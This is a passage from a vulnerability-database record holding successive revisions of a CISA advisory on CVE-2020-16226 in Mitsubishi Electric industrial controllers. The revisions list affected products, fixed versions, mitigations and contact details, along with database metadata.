report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01>); we'd welcome your feedback.\n", "published": "2021-01-26T00:00:00", "modified": "2021-02-04T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://www.us-cert.gov//ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://cwe.mitre.org/data/definitions/342.html", "https://www.dhs.gov/plug-information", "https://www.dhs.gov/privacy-policy", "https://www.us-cert.gov/ics/recommended-practices", "https://www.whitehouse.gov/", "https://www.dhs.gov/plain-writing-dhs", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.oig.dhs.gov/", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "https://www.dhs.gov/freedom-information-act-foia", "http://twitter.com/icscert", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01", "https://www.dhs.gov", "https://www.usa.gov/", "https://www.dhs.gov/", "https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.us-cert.gov/ics", "https://www.us-cert.gov/ics"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2021-02-24T09:28:43", "history": [], "viewCount": 10, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-16226"]}, {"type": "zdi", "idList": ["ZDI-20-1207"]}, {"type": "ics", "idList": ["ICSA-19-008-02", "ICSA-19-246-01", "ICSA-14-288-01", "ICSA-13-248-01", "ICSA-20-100-01", "ICSA-13-100-01", "ICSA-13-254-01", "ICSA-18-004-02A", "ICSA-13-337-01", "ICSA-15-085-01A", "ICSA-15-323-01", "ICSMA-20-023-01", "ICSA-11-018-02", "ICSA-15-246-02", "ICSA-19-253-06", "ICSA-15-225-01", "ICSA-16-336-02", "ICSMA-16-279-01", "ICSA-20-324-04", "ICSA-17-304-02", "ICSA-18-058-01A", "ICSA-18-317-08", "ICSA-16-147-01", "ICSA-20-063-03", "ICSA-11-285-01", "ICSA-19-094-02", "ICSA-14-198-03G", "ICSA-13-346-01", "ICSA-16-343-02", "ICSA-14-079-01", "ICSA-20-219-01", "ICSA-17-047-01", "ICSA-14-006-01", "ICSA-12-205-01", "ICSA-21-054-01", "ICSA-15-090-01", "ICSA-17-341-02", "ICSA-17-157-01", "ICSA-10-348-01A", "ICSA-18-116-01", "ICSA-11-353-01", "ICSA-18-058-03", "ICSA-15-048-02", "ICSA-11-307-01", "ICSA-14-084-01", "ICSA-12-145-02", "ICSMA-18-340-01", "ICSA-16-336-04", "ICSA-16-070-02", "ICSA-16-173-03", "ICSA-19-178-03", "ICSA-12-131-02", "ICSA-18-282-02", "ICSA-21-033-01", "ICSA-18-305-01", "ICSA-17-213-01", "ICSA2012602", "ICSA-15-111-02", "ICSA-20-065-01", "ICSA-18-347-01", "ICSA-17-094-04", "ICSA-14-114-02", "ICSA-15-006-01", "ICSA-13-259-01B", "ICSA-13-213-04A", "ICSA2012601", "ICSA-19-260-01", "ICSA-11-223-01A", "ICSA-16-182-01", "ICSA-18-303-01", "ICSA-10-070-01A", "ICSA-19-150-01", "ICSA-15-013-04A", "ICSA-14-105-03B", "ICSA-15-342-01", "ICSMA-18-058-02", "ICSA-20-252-06", "ICSA-18-107-05", "ICSA-20-238-03", "ICSA-20-294-01", "ICSA-12-213-01A", "ICSA-13-053-02A", "ICSA-12-201-01", "ICSA-16-049-01", "ICSA-313-01", "ICSA-11-195-01", "ICSA-19-346-01", "ICSA-17-138-02", "ICSA-20-196-06", "ICSA-20-343-05", "ICSA-20-224-01", "ICSA-17-187-05", "ICSA-17-264-04", "ICSA-15-064-02A", "ICSA-18-011-02", "ICSMA-16-306-01", "ICSA-19-274-02", "ICSA-12-137-02", "ICSA-20-324-05", "ICSA-16-278-02"]}], "modified": "2021-02-24T09:28:43", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-02-24T09:28:43", "rev": 2}}, "objectVersion": "1.4"}, "lastseen": "2021-02-24T09:28:43", "differentElements": ["href"], "edition": 6}, {"bulletin": {"id": "ICSA-20-245-01", "hash": "da4fbd549d98f75a85d01ae156760354", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products (Update A)", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low skill level to exploit\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. UPDATE INFORMATION\n\nThis updated advisory is a follow-up to the original advisory titled ICSA-20-245-01 Mitsubishi Electric Multiple Products that was published September 1, 2020, to the ICS webpage on us-cert.cisa.gov.\n\n## 3\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 4\\. TECHNICAL DETAILS\n\n### 4.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n\n**\\--------- Begin Update A Part 1 of 7---------**\n\n * R12CCPU-V, Version 13 and prior\n * RD55UP06-V, Version 09 and prior\n * RD55UP12-V, Version 01\n * RJ71GN11-T2, Version 11 and prior\n\n**\\--------- End Update A Part 1 of 7 ---------**\n\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n\n**\\--------- Begin Update A Part 2 of 7 ---------**\n\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22031 and prior\n\n**\\--------- End Update A Part 2 of 7 ---------**\n\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n\n**\\--------- Begin Update A Part 3 of 7 ---------**\n\n * RnSFCPU (n=08/16/32/120), Version 22 and prior\n * RnPCPU(n=08/16/32/120), Version 24 and prior\n * RnPSFCPU(n=08/16/32/120), Version 05 and prior\n\n**\\--------- End Update A Part 3 of 7 ---------**\n\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n\n**\\--------- Begin Update A Part 4 of 7 ---------**\n\n * FX5-ENET, Version 1.002 and prior\n * FX5-ENET/IP, Version 1.002 and prior\n * FX3U-ENET-ADP, Version 1.22 and prior\n * FX3GE-**M*/**, the first 3 digits of serial number 20X and prior\n * FX3U-ENET, Version 1.14 and prior\n * FX3U-ENET-L, Version 1.14 and prior\n * FX3U-ENET-P502, Version 1.14 and prior\n * FX5-CCLGN-MS, Version 1.000\n\n**\\--------- End Update A Part 4 of 7 ---------**\n\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n\n**\\--------- Begin Update A Part 5 of 7 ---------**\n\n * FR-A800-E Series, production date December 2020 and prior\n * FR-F800-E Series, production date December 2020 and prior\n\n**\\--------- End Update A Part 5 of 7 ---------**\n\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n### 4.2 VULNERABILITY OVERVIEW\n\n#### 4.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 4.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 4.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 5\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n\n**\\--------- Begin Update A Part 6 of 7 ---------**\n\nMitsubishi also recommends users update the following products to their respective versions: \n\n * R12CCPU-V, Version 14 or later\n * RD55UP06-V, Version 10 or later\n * RD55UP12-V, Version 02 or later\n * RJ71GN11-T2, Version 12 or later\n * Q03UDECPU, the first 5 digits of serial number 22082 or later\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22082 or later\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22032 or later\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22032 or later\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22052 or later\n * L26CPU-(P)BT, the first 5 digits of serial number 22052 or later\n * RnSFCPU (n=08/16/32/120), Version 23 or later\n * RnPSFCPU(n=08/16/32/120), Version 06 or later\n * RnPCPU(n=08/16/32/120), Version 25 or later\n\n**\\--------- End Update A Part 6 of 7 ---------**\n\n * RnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later\n\n**\\--------- Begin Update A Part 7 of 7 ---------**\n\n * FX5-ENET, Version 1.003 or later\n * FX5-ENET/IP, Version 1.003 or later\n * FX3U-ENET-ADP, Version 1.24 or later\n * FX3GE-**M*/**, the first 3 digits of serial number 20Y or later\n * FX3U-ENET, Version 1.16 or later\n * FX3U-ENET-L, Version 1.16 or later\n * FX3U-ENET-P502, Version 1.16 or later\n * FX5-CCLGN-MS, Version 1.001 or later\n * FR-A800-E Series, production date January 2021 or later\n * FR-F800-E Series, production date January 2021 or later\n * FR-A8NCG, production date September 2020 or later\n * FR-E800-EPA Series, production date August 2020 or later\n * FR-E800-EPB Series, production date August 2020 or later\n\n**\\--------- End Update A Part 7 of 7 ---------**\n\nPlease contact Mitsubishi Electric for more information.\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://www.us-cert.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://www.us-cert.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://www.us-cert.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01>); we'd welcome your feedback.\n", "published": "2021-01-26T00:00:00", "modified": "2021-02-04T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://www.us-cert.gov/ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://cwe.mitre.org/data/definitions/342.html", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01", "https://www.us-cert.gov/ics/recommended-practices", "https://www.us-cert.gov/ics", "https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://www.us-cert.gov/ics", "https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.dhs.gov/privacy-policy", "https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01", "http://twitter.com/icscert", "https://www.dhs.gov", "https://www.dhs.gov/freedom-information-act-foia", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://www.dhs.gov/plain-writing-dhs", "https://www.dhs.gov/plug-information", "https://www.oig.dhs.gov/", "https://www.whitehouse.gov/", "https://www.usa.gov/", "https://www.dhs.gov/"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2021-02-27T19:48:20", "history": [], "viewCount": 12, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-16226"]}, {"type": "zdi", "idList": ["ZDI-20-1207"]}, {"type": "ics", "idList": ["ICSA2012601", "ICSA-17-334-01", "ICSA-20-056-01", "ICSA-20-072-01", "ICSA-15-337-02", "ICSA-19-099-04", "ICSA-16-161-01", "ICSA-17-325-01", "ICSMA-18-144-01", "ICSA-13-295-01", "ICSA-17-194-03", "ICSA-13-213-01", "ICSA-19-318-03", "ICSA-18-347-01", "ICSA-19-094-03", "ICSA-20-196-06", "ICSA-15-342-02", "ICSMA-17-215-01", "ICSA-17-122-01", "ICSA2012602", "ICSA-12-167-01", "ICSA-15-146-01", "ICSA-21-007-01", "ICSA-18-282-06", "ICSA-18-277-01", "ICSA-20-070-05", "ICSA-17-192-02", "ICSA-19-134-07", "ICSA-15-160-01", "ICSA-19-227-01", "ICSA-20-142-01", "ICSMA-18-142-01", "ICSA-17-318-02A", "ICSA-17-180-03", "ICSA-19-253-03", "ICSA-20-105-09", "ICSA-18-095-01", "ICSA-18-324-01", "ICSA-14-114-01", "ICSMA-18-156-01", "ICSMA-18-165-01", "ICSA-18-018-01A", "ICSA-18-116-01", "ICSA-19-225-02", "ICSA-14-275-02", "ICSA-16-259-01", "ICSA-20-063-03", "ICSA-15-195-01", "ICSA-20-196-05", "ICSA-17-054-02", "ICSA-11-110-01", "ICSA-19-353-03", "ICSA-19-059-01", "ICSA-17-143-01", "ICSA-15-246-03", "ICSA-19-036-05", "ICSA-12-146-01A", "ICSA-14-105-03B", "ICSMA-19-190-01", "ICSMA-21-047-01", "ICSA-11-279-01", "ICSA-19-106-01", "ICSA-15-258-04", "ICSA-19-183-02", "ICSA-17-024-01", "ICSA-15-132-02", "ICSA-17-157-01", "ICSA-19-274-01", "ICSA-20-224-06", "ICSA-15-055-02", "ICSA-16-287-05", "ICSMA-20-343-01", "ICSA-17-250-01", "ICSMA-20-023-01", "ICSA-15-272-01", "ICSA-15-300-01", "ICSMA-19-241-02", "ICSMA-17-215-02", "ICSA-11-243-01", "ICSA-20-056-05", "ICSA-313-01", "ICSA-20-252-08", "ICSA-16-196-03", "ICSA-15-239-03", "ICSA-17-138-01", "ICSA-21-068-09", "ICSA-12-249-03", "ICSA-18-240-04", "ICSA-17-115-01", "ICSMA-19-080-01", "ICSA-13-067-01", "ICSA-11-279-03A", "ICSA-18-254-05", "ICSA-17-304-01", "ICSA-16-301-01", "ICSA-19-297-02", "ICSA-12-131-01", "ICSA-19-099-06", "ICSA-20-014-06", "ICSA-17-152-01"]}], "modified": "2021-02-27T19:48:20", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-02-27T19:48:20", "rev": 2}}, "objectVersion": "1.5"}, "lastseen": "2021-02-27T19:48:20", "differentElements": ["description", "modified", "published", "references", "title"], "edition": 7}, {"bulletin": {"id": "ICSA-20-245-01", "hash": "dd2775e51d3d2f27bce6a1196fbf3693", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products (Update B)", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low attack complexity\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. UPDATE INFORMATION\n\nThis updated advisory is a follow-up to the advisory update titled ICSA-20-245-01 Mitsubishi Electric Multiple Products (Update A) that was published January 26, 2021, to the ICS webpage on us-cert.cisa.gov.\n\n## 3\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 4\\. TECHNICAL DETAILS\n\n### 4.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n * R12CCPU-V, Version 13 and prior\n * RD55UP06-V, Version 09 and prior\n * RD55UP12-V, Version 01\n * RJ71GN11-T2, Version 11 and prior\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22031 and prior\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n * RnSFCPU (n=08/16/32/120), Version 22 and prior\n * RnPCPU(n=08/16/32/120), Version 24 and prior\n * RnPSFCPU(n=08/16/32/120), Version 05 and prior\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n * FX5-ENET, Version 1.002 and prior\n * FX5-ENET/IP, Version 1.002 and prior\n * FX3U-ENET-ADP, Version 1.22 and prior\n * FX3GE-**M*/**, the first 3 digits of serial number 20X and prior\n * FX3U-ENET, Version 1.14 and prior\n * FX3U-ENET-L, Version 1.14 and prior\n * FX3U-ENET-P502, Version 1.14 and prior\n * FX5-CCLGN-MS, Version 1.000\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n * FR-A800-E Series, production date December 2020 and prior\n * FR-F800-E Series, production date December 2020 and prior\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n**\\--------- Begin Update B Part 1 of 2 ---------**\n\n * RJ71EN71, Version 48 and prior\n * QJ71E71-100, the first 5 digits of serial number 21092 and prior\n * LJ71E71-100, the first 5 digits of serial number 21092 and prior\n * QJ71MT91, the first 5 digits of serial number 20082 and prior\n * NZ2GACP620-60, Version 1.03D and prior\n * NZ2GACP620-300, Version 1.03D and prior\n * GT25-J71GN13-T2, Version 03 and prior\n\n**\\--------- End Update B Part 1 of 2---------**\n\n### 4.2 VULNERABILITY OVERVIEW\n\n#### 4.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 4.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 4.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 5\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n\nMitsubishi also recommends users update the following products to their respective versions: \n\n * R12CCPU-V, Version 14 or later\n * RD55UP06-V, Version 10 or later\n * RD55UP12-V, Version 02 or later\n * RJ71GN11-T2, Version 12 or later\n * Q03UDECPU, the first 5 digits of serial number 22082 or later\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22082 or later\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22032 or later\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22032 or later\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22052 or later\n * L26CPU-(P)BT, the first 5 digits of serial number 22052 or later\n * RnSFCPU (n=08/16/32/120), Version 23 or later\n * RnPSFCPU(n=08/16/32/120), Version 06 or later\n * RnPCPU(n=08/16/32/120), Version 25 or later\n\nRnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later\n\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later\n * FX5-ENET, Version 1.003 or later\n * FX5-ENET/IP, Version 1.003 or later\n * FX3U-ENET-ADP, Version 1.24 or later\n * FX3GE-**M*/**, the first 3 digits of serial number 20Y or later\n * FX3U-ENET, Version 1.16 or later\n * FX3U-ENET-L, Version 1.16 or later\n * FX3U-ENET-P502, Version 1.16 or later\n * FX5-CCLGN-MS, Version 1.001 or later\n * FR-A800-E Series, production date January 2021 or later\n * FR-F800-E Series, production date January 2021 or later\n * FR-A8NCG, production date September 2020 or later\n * FR-E800-EPA Series, production date August 2020 or later\n * FR-E800-EPB Series, production date August 2020 or later\n\n**\\--------- Begin Update B Part 2 of 2 ---------**\n\n * RJ71EN71, Version 49 or later\n * QJ71E71-100, the first 5 digits of serial number 22102 or later\n * LJ71E71-100, the first 5 digits of serial number 22102 or later\n * QJ71MT91, the first 5 digits of serial number 22102 or later\n * NZ2GACP620-60, Version 1.04E or later\n * NZ2GACP620-300, Version 1.04E or later\n * GT25-J71GN13-T2, Version 04 or later\n\nPlease contact a [Mitsubishi Electric representative](<https://www.mitsubishielectric.com/fa/support/index.html>) for more information.\n\n**\\--------- End Update B Part 2 of 2 ---------**\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://us-cert.cisa.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.cisa.gov](<https://us-cert.cisa.gov/>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.cisa.gov](<https://us-cert.cisa.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation 